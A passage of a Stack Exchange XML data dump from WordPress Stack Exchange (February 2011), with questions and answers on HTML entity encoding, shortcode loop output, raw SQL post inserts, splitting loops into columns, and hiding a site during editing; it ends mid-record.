  <row Id="9301" PostTypeId="1" CreationDate="2011-02-14T09:42:47.277" Score="0" ViewCount="203" Body="&lt;p&gt;As as title, how to prevent wp not to encode html in a post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;currently i just need to prevent &lt;strong&gt;'&amp;amp;'&lt;/strong&gt; changed to &lt;code&gt;&amp;amp;amp;&lt;/code&gt; The result need to be looks like on editor with html tab mode selected.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content = $wpdb-&amp;gt;get_row(&quot;SELECT post_content FROM $wpdb-&amp;gt;posts WHERE ID=xxx&quot;);&#xA;$content = str_replace('amp;','',$content-&amp;gt;post_content);//remove amp;&#xA;&#xA;$wpdb-&amp;gt;query(&quot;UPDATE $wpdb-&amp;gt;posts SET post_content = $content WHERE ID = xxx;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and also how to implement content filter(prevent to encode some text) in collaboration with &lt;code&gt;wp_insert_post()&lt;/code&gt; function&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but that code still encode the html.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-01T18:40:58.797" Title="How to Prevent Wordpress to encode html in post?" Tags="&lt;filters&gt;" AnswerCount="2" />
  <row Id="9302" PostTypeId="2" ParentId="9301" CreationDate="2011-02-14T10:40:12.830" Score="2" ViewCount="" Body="&lt;p&gt;Save post when in HTML tab of editor. It should be saved as close to what you see in editor as possible. I had run couple of quick tests and ampersands are not encoded in this case (as you want to).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure how to prevent this for visual editor, because a lot of formatting-related stuff in editor is handled by JavaScript rather than PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cleaning up your snippet, this seems to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content = get_post_field('post_content', XXX, 'raw');&#xA;$content = str_replace('amp;', '', $content);&#xA;$wpdb-&amp;gt;update( $wpdb-&amp;gt;posts, array( 'post_content' =&amp;gt; $content ), array( 'ID' =&amp;gt; XXX ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-14T11:08:13.277" LastActivityDate="2011-02-14T11:08:13.277" CommentCount="2" />
  <row Id="9303" PostTypeId="1" AcceptedAnswerId="9306" CreationDate="2011-02-14T10:59:56.243" Score="0" ViewCount="111" Body="&lt;p&gt;I'm working on a shortcode function that returns a category image, a link to the category, the last three posts in that category, and another link to the category. See my code below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_shortcode('caticons_listing','bm_caticons_listing');&#xA;    function bm_caticons_listing($atts) {&#xA;        extract( shortcode_atts( array(&#xA;            'include' =&amp;gt; '',&#xA;            'exclude' =&amp;gt; '',&#xA;            'small' =&amp;gt; 'true'&#xA;        ), $atts ) );&#xA;        if ($atts['include']) $include = &quot;&amp;amp;include=&quot;.$atts['include'];&#xA;        if ($atts['exclude']) $exclude = &quot;&amp;amp;exclude=&quot;.$atts['exclude'];&#xA;        if ($atts['small'] == 'false') $small = &quot;&amp;amp;small=false&quot;;&#xA;        $listing_code .= '&amp;lt;table class=&quot;cat-nav&quot;&amp;gt;';&#xA;        foreach(get_categories(&quot;orderby=name&amp;amp;order=ASC&amp;amp;hide_empty=0&quot;.$include.$exclude) as $category) {&#xA;            if (category_description($category-&amp;gt;cat_ID)) { $desc = category_description($category-&amp;gt;cat_ID); } else { $desc = &quot;Coming soon!&quot;;}&#xA;            if ($category-&amp;gt;count &amp;gt; 0) {&#xA;                $seemore = '&amp;lt;br /&amp;gt;&amp;lt;a href=&quot;'.get_category_link( $category-&amp;gt;term_id ).'&quot;&amp;gt;See more.&amp;lt;/a&amp;gt;';} &#xA;                else {$seemore = '';}&#xA;           query_posts('cat='.$category-&amp;gt;term_id.'&amp;amp;showposts=3');&#xA;           $listing_code .= '&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;'.get_cat_icon(&quot;echo=false&quot;.$small.&quot;&amp;amp;class=caticon&amp;amp;cat=&quot;.$category-&amp;gt;cat_ID).'&amp;lt;/td&amp;gt;&amp;lt;td valign=&quot;top&quot; style=&quot;padding: 5px;&quot;&amp;gt;&amp;lt;a href=&quot;'.get_category_link( $category-&amp;gt;term_id ).'&quot;&amp;gt;&amp;lt;h2 style=&quot;font-size: 130%;&quot;&amp;gt;'.$category-&amp;gt;cat_name.'&amp;lt;/h2&amp;gt;&amp;lt;/a&amp;gt;'.category_description($category-&amp;gt;cat_ID).'&amp;lt;br /&amp;gt;';&#xA;//$listing_code .= &quot;I think I need a loop here.&quot;;&#xA;$listing_code .= $seemore.'&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;';&#xA;        }&#xA;        $listing_code .= '&amp;lt;/table&amp;gt;';&#xA;        return $listing_code;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My issue is, with the way the WP loop examples are written, I can't figure out a good way to output the three latest posts as links in a manner that can be stored as a variable (to be returned as the shortcode output). Any help would be appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1682" LastActivityDate="2011-02-14T19:43:57.230" Title="Output loop to function return?" Tags="&lt;functions&gt;&lt;loop&gt;&lt;shortcode&gt;&lt;custom-loop&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="9304" PostTypeId="1" CreationDate="2011-02-14T11:03:06.203" Score="0" ViewCount="168" Body="&lt;p&gt;I 'm using wordpress 3.0.5&#xA;I have to use sql for create post, here is my SQL query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$req = $bdd-&amp;gt;prepare('INSERT INTO wp_posts (post_title,post_content,post_name,post_date,post_date_gmt,post_modified,post_modified_gmt,post_author,post_status,post_type)&#xA;                      VALUES (:post_title, :content, :post_name, now(), now(), now(), now(), 1 ,\'publish\', :post_type)');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything is fine, my post is created as I want, BUT when I edit my post in admin, for exemple adding a new term, post_status is no more &quot;Publish&quot;, but &quot;Scheduled&quot; an my only solution is to &lt;code&gt;('UPDATE wp_posts SET post_status = \'publish\' WHERE id = :id_post')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I creat a post directly in admin, everything is fine even if I edit my post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I missed up the scheduled time !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help me ?&#xA;Thank you for your interest.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-14T11:12:24.193" Title="Troubles about insering a POST with a SQL query, post_status" Tags="&lt;3.0&gt;&lt;posts&gt;&lt;sql&gt;&lt;custom-sql&gt;" AnswerCount="1" />
  <row Id="9305" PostTypeId="2" ParentId="9304" CreationDate="2011-02-14T11:12:24.193" Score="1" ViewCount="" Body="&lt;p&gt;Why are you using direct SQL query instead of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_insert_post()&lt;/code&gt;&lt;/a&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that you seem to be using non-standard database object. It is hard to guess what goes wrong if you are doing something considerably different from native mechanics.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-14T11:12:24.193" CommentCount="3" />
  <row Id="9306" PostTypeId="2" ParentId="9303" CreationDate="2011-02-14T11:17:36.870" Score="2" ViewCount="" Body="&lt;p&gt;First, need to lose &lt;code&gt;query_posts()&lt;/code&gt; - it should never be used for secondary loops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$posts = get_posts( array(&#xA;    'cat' =&amp;gt; $category-&amp;gt;term_id,&#xA;    'numberposts' =&amp;gt; 3,&#xA;    ));&#xA;&#xA;foreach( $posts as $post ) {&#xA;&#xA;    $listing_code .= get_permalink( $post-&amp;gt;ID ); //or whatever&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="1682" LastEditorDisplayName="" LastEditDate="2011-02-14T19:43:57.230" LastActivityDate="2011-02-14T19:43:57.230" CommentCount="2" />
  <row Id="9308" PostTypeId="1" AcceptedAnswerId="9311" CreationDate="2011-02-14T11:58:16.553" Score="1" ViewCount="1076" Body="&lt;p&gt;If I have a loop running from a category query like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $the_query = new WP_Query('cat=1&amp;amp;showposts=50&amp;amp;orderby=title&amp;amp;order=asc');?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php while ($the_query-&amp;gt;have_posts()) : $the_query-&amp;gt;the_post();?&amp;gt;&#xA;&amp;lt;li&amp;gt;.. &amp;lt;/li&amp;gt;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would I create an if clause that breaks the list at a certain interval, and starts a new one. So for example at the 10th post, return a &lt;code&gt;&amp;lt;/ul&amp;gt;&lt;/code&gt; and start a new one &lt;code&gt;&amp;lt;ul&amp;gt;&lt;/code&gt; at 11.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is incorrect but to illustrate my objective:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $count =0;&#xA;    while($count &amp;lt;=50){&#xA;        if ($count == 9){&#xA;            echo &quot;&amp;lt;li&amp;gt;&amp;lt;a href='&amp;lt;?php the_permalink(); ?&amp;gt;'&amp;gt;&#xA;                      &amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&quot;;&#xA;            } &#xA;        elseif ($count == 10){&#xA;        echo &quot;&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt;&amp;lt;a href='&amp;lt;?php the_permalink(); ?&amp;gt;'&amp;gt;&#xA;                          &amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;        }&#xA;        else {&#xA;        echo &quot;&amp;lt;li&amp;gt;&amp;lt;a href='&amp;lt;?php the_permalink(); ?&amp;gt;'&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the correct way to include this logic into the loop? &lt;/p&gt;&#xA;" OwnerUserId="2661" LastActivityDate="2011-02-16T09:46:30.187" Title="How to split a loop into multiple columns" Tags="&lt;php&gt;&lt;loop&gt;&lt;the-loop&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="2" />
  <row Id="9309" PostTypeId="2" ParentId="9308" CreationDate="2011-02-14T12:06:15.250" Score="2" ViewCount="" Body="&lt;p&gt;This is more a general programming question, but here is the basic idea:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $the_query = new WP_Query('cat=1&amp;amp;showposts=50&amp;amp;orderby=title&amp;amp;order=asc');?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;$post_counter = 0;&#xA;while ($the_query-&amp;gt;have_posts()) :&#xA;    $the_query-&amp;gt;the_post();&#xA;    $post_counter++;&#xA;?&amp;gt;&#xA;    &amp;lt;li&amp;gt;.. &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php&#xA;    if ( 0 == $post_counter % 10 ) {&#xA;        echo '&amp;lt;/ul&amp;gt;&amp;lt;ul&amp;gt;';&#xA;    }&#xA;endwhile;&#xA;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php&#xA;// You don't have to do this in every loop, just once at the end should be enough&#xA;wp_reset_query();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-14T12:06:15.250" CommentCount="5" />
  <row Id="9310" PostTypeId="1" CreationDate="2011-02-14T12:52:44.323" Score="0" ViewCount="129" Body="&lt;p&gt;I have added Facebook fanbox to my site but it causes performance problems. Is there a plugin that embeds the fanbox and loads the javascript in the footer and asynchronously (if possible)?&#xA;If not, can I do it manually somehow? I want to load the js file from the footer but the fanbox to appear in an upper section of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1567" LastEditorUserId="1567" LastEditorDisplayName="" LastEditDate="2011-02-14T17:03:47.860" LastActivityDate="2011-02-14T20:15:21.617" Title="Facebook fanbox problem" Tags="&lt;javascript&gt;&lt;facebook&gt;" AnswerCount="1" />
  <row Id="9311" PostTypeId="2" ParentId="9308" CreationDate="2011-02-14T13:03:48.973" Score="5" ViewCount="" Body="&lt;h1&gt;Create Columns for your query and easy display&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;In themes is probably more useful to have something that fits well into template tags and the loop. My first answer didn't focus on that much. Additionally I thought it's a bit too complicated for a quick adoption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An easier approach that popped into my mind was to extend &lt;em&gt;&quot;the loop&quot;&lt;/em&gt; with columns and came to this solution so far:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &lt;strong&gt;WP_Query_Columns&lt;/strong&gt; object &quot;extends&quot; any standard WP query with colums that can be easily iterated over. The first parameter is the query variable and the second parameter is the number of items to be displayed per column:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $the_query = new WP_Query('cat=1&amp;amp;showposts=50&amp;amp;orderby=title&amp;amp;order=asc');?&amp;gt;&#xA;&amp;lt;?php foreach(new WP_Query_Columns($the_query, 10) as $column_count) : ?&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php while ($column_count--) : $the_query-&amp;gt;the_post(); ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To use it, just add the &lt;a href=&quot;https://gist.github.com/826061&quot; rel=&quot;nofollow&quot;&gt;WP_Query_Columns class from this gist&lt;/a&gt; to your themes function.php.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Advanced Usage&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you need the column number you're currently displaying (e.g. for some even/odd CSS classes, you can get that from the foreach as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach(new WP_Query_Columns($the_query, 10) as $column =&amp;gt; $column_count) : ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the total number of columns is available as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    $the_columns = new WP_Query_Columns($the_query, 10);&#xA;    foreach($the_columns as $column =&amp;gt; $column_count) : &#xA;?&amp;gt;&#xA;    &amp;lt;h2&amp;gt;Column &amp;lt;?php echo $column; ?&amp;gt;/&amp;lt;?php echo sizeof($the_columns); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;ul&amp;gt;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Twenty Ten Example&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I could quickly hack twenty ten theme for a test and adding headlines above any loop this way. It's inserted into loop.php, the beginning is the theme's code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php /* If there are no posts to display, such as an empty archive page */ ?&amp;gt;&#xA;&amp;lt;?php if ( ! have_posts() ) : ?&amp;gt;&#xA;    &amp;lt;div id=&quot;post-0&quot; class=&quot;post error404 not-found&quot;&amp;gt;&#xA;        &amp;lt;h1 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php _e( 'Not Found', 'twentyten' ); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;div class=&quot;entry-content&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;&amp;lt;?php _e( 'Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post.', 'twentyten' ); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;            &amp;lt;?php get_search_form(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!-- #post-0 --&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;!-- WP_Query_Columns --&amp;gt;&#xA;&amp;lt;?php &#xA;    ### Needs WP_Query_Columns --- see http://wordpress.stackexchange.com/q/9308/178&#xA;    $query_copy = clone $wp_query; // save to restore later&#xA;    foreach( new WP_Query_Columns($wp_query, 3) as $columns_index =&amp;gt; $column_count ) : ?&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        &amp;lt;?php &#xA;        while ( $column_count-- ) : the_post(); ?&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'twentyten' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;       &#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;?php $wp_query = $query_copy;?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;    /* Start the Loop.&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;For a longer answer:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(that is basically how I came to the stuff above, but explains better how to actually solve the problem with simple mathematic operations. My new solution is to iterate over something pre-calculated.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depends a bit how much you actually need to solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if the number of items per column equals one, this is very simple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $the_query = new WP_Query('cat=1&amp;amp;showposts=50&amp;amp;orderby=title&amp;amp;order=asc');?&amp;gt;    &#xA;&amp;lt;?php while ($the_query-&amp;gt;have_posts()) : $the_query-&amp;gt;the_post();?&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;.. &amp;lt;/li&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php endwhile;  wp_reset_query(); ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even with that simple code, it can be seen that there are multiple decisions to be made:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How many items are in one column?&lt;/li&gt;&#xA;&lt;li&gt;How many items are there in total?&lt;/li&gt;&#xA;&lt;li&gt;Is there a new column to start?&lt;/li&gt;&#xA;&lt;li&gt;And is there a column to end?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The last question is pretty interestering for HTML output as you probably want to enclose not only items but also the column with html elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily with code, we can set all these in variables and create code that always computes to our needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And sometimes even, we can not even answer every question from the beginning. For exmaple, the count of total items: Are there any, some, multiple, an exact count that matches up with an integer number of columns in total?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even Jan Fabry's answer might work in some cases (as my example above does for the one-item-per-column scenario), you might be interested in something that works for any number of items returned by WP_Query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First for the math:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//&#xA;// arithmetical example:&#xA;//&#xA;# configuration:&#xA;$colSize = 20;  // number of items in a column&#xA;$itemsTotal = 50; // number of items (total)&#xA;&#xA;# calculation:&#xA;$count = 0; // a zero-based counter variable&#xA;$isStartOfNewColum = 0 === ($count % $colSize); // modulo operation&#xA;$isEndOfColumn = ($count &amp;amp;&amp;amp; $isStartOfNewColum) || $count === $itemsTotal; // encapsulation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That code doesn't run, so let's put that up into a simple text example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//&#xA;// simple-text example:&#xA;//&#xA;$column = 0; // init a column counter&#xA;for($count=0; $count&amp;lt;= $itemsTotal; $count++) {&#xA;    $isStartOfNewColum = 0 === ($count % $colSize); // modulo&#xA;    $isEndOfColumn = ($count &amp;amp;&amp;amp; $isStartOfNewColum);&#xA;    $isStartOfNewColum &amp;amp;&amp;amp; $column++; // update column counter&#xA;&#xA;    if ($isEndOfColumn) {&#xA;        printf(&quot;/End of Column: %d\n&quot;, $column-1);&#xA;    }&#xA;&#xA;    if ($isStartOfNewColum) {&#xA;        printf(&quot;&amp;lt;start of Column: %d\n&quot;, $column);&#xA;    }&#xA;&#xA;    printf(&quot; * item %d\n&quot;, $count);&#xA;}&#xA;if ($count &amp;amp;&amp;amp; !$isEndOfColumn &amp;amp;&amp;amp; --$count === $itemsTotal) {&#xA;    printf(&quot;/End of Column: %d\n&quot;, $column);&#xA;}&#xA;&#xA;printf(&quot;Done. Total Number of Columns: %d.\n&quot;, $column);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This actually runs and does some output already: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;start of Column: 1&#xA; * item 0&#xA; * item 1&#xA; * item 2&#xA; * item 3&#xA;...&#xA; * item 17&#xA; * item 18&#xA; * item 19&#xA;/End of Column: 1&#xA;&amp;lt;start of Column: 2&#xA; * item 20&#xA; * item 21&#xA; * item 22&#xA;...&#xA; * item 37&#xA; * item 38&#xA; * item 39&#xA;/End of Column: 2&#xA;&amp;lt;start of Column: 3&#xA; * item 40&#xA; * item 41&#xA; * item 42&#xA;...&#xA; * item 48&#xA; * item 49&#xA; * item 50&#xA;/End of Column: 3&#xA;Done. Total Number of Columns: 3.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This simulates already pretty well how it &lt;em&gt;could&lt;/em&gt; look like in a wordpress template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//&#xA;// wordpress example:&#xA;//&#xA;$count = 0; // init item counter&#xA;$column = 0; // init column counter&#xA;$colSize = 10; // column size of ten this time&#xA;$the_query = new WP_Query('cat=1&amp;amp;showposts=50&amp;amp;orderby=title&amp;amp;order=asc');&#xA;$itemsTotal = $the_query-&amp;gt;post_count;&#xA;?&amp;gt;&#xA;&amp;lt;?php while ($the_query-&amp;gt;have_posts()) : $the_query-&amp;gt;the_post();?&amp;gt;&#xA;&amp;lt;?php&#xA;    # columns display variables &#xA;    $isStartOfNewColum = 0 === ($count % $colSize); // modulo&#xA;    $isEndOfColumn = ($count &amp;amp;&amp;amp; $isStartOfNewColum);&#xA;    $isStartOfNewColum &amp;amp;&amp;amp; $column++; // update column counter&#xA;&#xA;    if ($isEndOfColumn) {&#xA;        print('&amp;lt;/ul&amp;gt;');&#xA;    }&#xA;&#xA;    if ($isStartOfNewColum) {&#xA;        printf('&amp;lt;ul class=&quot;col-%d&quot;&amp;gt;', $column);&#xA;    }&#xA;?&amp;gt;&#xA;    &amp;lt;li&amp;gt; ... make your day ...&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;?php&#xA;if ($count &amp;amp;&amp;amp; !$isEndOfColumn &amp;amp;&amp;amp; --$count === $itemsTotal) {&#xA;    print('&amp;lt;/ul&amp;gt;');&#xA;}&#xA;// You don't have to do this in every loop, just once at the end should be enough&#xA;wp_reset_query();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I have not executed the last example in a WP environment, but it should be at least syntactically correct.)&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-14T16:05:49.943" LastActivityDate="2011-02-14T16:05:49.943" CommentCount="4" />
  <row Id="9314" PostTypeId="1" AcceptedAnswerId="9317" CreationDate="2011-02-14T15:32:00.970" Score="1" ViewCount="412" Body="&lt;p&gt;I'm setting up a simple web site for a member of my family, using wordpress as a CMS. I've already registered a domain name and I'm about to set up wordpress. I want them to be able to edit the site content online (using wordpress's admin interface) and view the site, but I don't want the site to be available to the public while it's in the editing stages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone suggest a good way to prevent access to the public (for example a &quot;coming soon&quot; page, but access to the main site via a password; or perhaps put the wordpress installation in a subdirectory while the site is in the editing stages, and then use url rewriting to redirect the root directory to the subdirectory when the site goes live).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should mention that I'm relatively new to wordpress, so if this kind of functionality is built in I apologise for asking the question.&lt;/p&gt;&#xA;" OwnerUserId="3142" LastActivityDate="2011-02-26T16:40:40.697" Title="Wordpress CMS - hide content from public while in editing stages" Tags="&lt;redirect&gt;&lt;cms&gt;&lt;url-rewriting&gt;" AnswerCount="6" />
  <row Id="9315" PostTypeId="2" ParentId="9314" CreationDate="2011-02-14T15:56:01.747" Score="2" ViewCount="" Body="&lt;p&gt;There is number of plugins that show up maintenance pages, but I personally had trouble with that (plugin conflicted badly with something and almost knocked out server) and stay away from those since.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My personal preference is &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members&lt;/a&gt; plugin, it has (among other things) easy to use private mode that will prompt for WordPress login to see anything on site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd stay away from redirects for something simple, it is always better to develop as close to final URL structure as possible.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-14T15:56:01.747" CommentCount="1" />
  <row Id="9316" PostTypeId="1" CreationDate="2011-02-14T16:31:56.200" Score="1" ViewCount="114" Body="&lt;p&gt;My first post on WordPress SE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm bouncing around an idea of a new site.  I want to allow for guest editing like wikipedia that someone can create articles if it doesn't exist already, existing articles can be edited, articles have edited history with IP address, allows for uploading of pictures from guest authors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can this be done in WordPress?  I've tried searching online, but all seems to point to having to create a login account.  I want true guest editing, without account creation.  But of course someone could create an account and do the same thing, but will have edits and contributions linked to their account name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:  I've decided against the complete guest editing option and going to opt to have them create an account.  This seems to be the easiest route.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3143" LastEditorUserId="3143" LastEditorDisplayName="" LastEditDate="2011-02-15T03:37:40.177" LastActivityDate="2011-02-15T16:04:59.467" Title="Guest authors, sort of like Wikipedia, but more theme-able" Tags="&lt;pages&gt;" AnswerCount="3" CommentCount="5" />
  <row Id="9317" PostTypeId="2" ParentId="9314" CreationDate="2011-02-14T16:46:08.240" Score="1" ViewCount="" Body="&lt;p&gt;I also have had problems with the maintenance plugins.  What you can do instead (if you are familiar with HTML) is create a simple &quot;Closed for Maintenance&quot; page. Save the page as &lt;strong&gt;xindex.html&lt;/strong&gt;.  Upload the xindex.page to the same directory as your WordPress installation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You Wordpress installation comes with two files index.html and index.php. While you are working or doing maintenance to your site, first rename the existing &lt;strong&gt;index.html&lt;/strong&gt; file as realindex.html then rename the xindex.html that you uploaded as index.html.  This will replace the Wordpress homepage with your maintenance page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you are finished working and are ready to display your site, reverse your steps.  Rename the current index.html back to xindex.html and change realindex.html back to index.html.  Sounds more complex than it is in practice, but it entirely avoids buggy plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link to my maintenance page.  You can copy the source. &#xA;&lt;a href=&quot;http://www.sixfourweb.com/xindex.html&quot; rel=&quot;nofollow&quot;&gt;Closed for Maintenance&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2709" LastEditorUserId="2709" LastEditorDisplayName="" LastEditDate="2011-02-14T16:54:28.733" 